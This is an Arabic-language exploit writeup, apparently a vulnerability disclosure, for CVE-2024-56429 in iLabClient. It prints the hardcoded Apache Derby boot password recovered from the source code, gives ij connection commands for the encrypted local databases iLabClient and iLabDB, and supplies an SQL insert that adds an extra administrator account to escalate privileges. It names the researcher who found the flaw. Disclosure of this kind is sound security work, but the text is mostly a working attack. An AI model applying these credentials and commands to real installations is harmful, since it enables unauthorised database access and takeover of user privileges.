
استغلال لـ CVE-2024-56429 يوضح استخراج كلمة مرور تشغيل قاعدة بيانات Apache Derby من الكود المصدري لـ iLabClient، مما يتيح الاتصال بقاعدة البيانات المحلية ورفع الامتيازات عبر التلاعب بالمستخدمين.
الوصول إلى قاعدة البيانات المحلية لـ iLabClient
يستخدم iLabClient قاعدة بيانات Apache Derby لتخزين البيانات المطلوبة محليًا. لضمان التشفير، يتم استخدام bootPassword للإنشاء، والتي يمكن استخراجها من الكود المصدري (الكود المستخرج موجود في DecyptedBootPassword.java). بعد تنفيذ الكود المصدري المستخرج، يتلقى المستخدم bootPassword.
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==
عند تشغيل iLabClient لأول مرة، يتم إنشاء قاعدتي البيانات المحليتين iLabCLient و iLabDB. للاتصال بقواعد البيانات هذه، يمكن استخدام أداة ij من Apache Derby، تنزيل.
بدء تشغيل ij:
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij
"C:\ilabClient\java8u422\bin\java.exe": إصدار Java المثبت والمستخدم من iLabClient
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": مكتبة Apache Derby
الاتصال بقاعدة البيانات:
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
بمجرد إنشاء الاتصال، يمكن قراءة البيانات والتلاعب بها. على سبيل المثال، عن طريق إضافة مستخدم آخر بصلاحيات أكثر.
insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');
يمكن إنشاء التجزئة المطلوبة باستخدام الفئة GenerateUserData.java.
المكتشف: Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)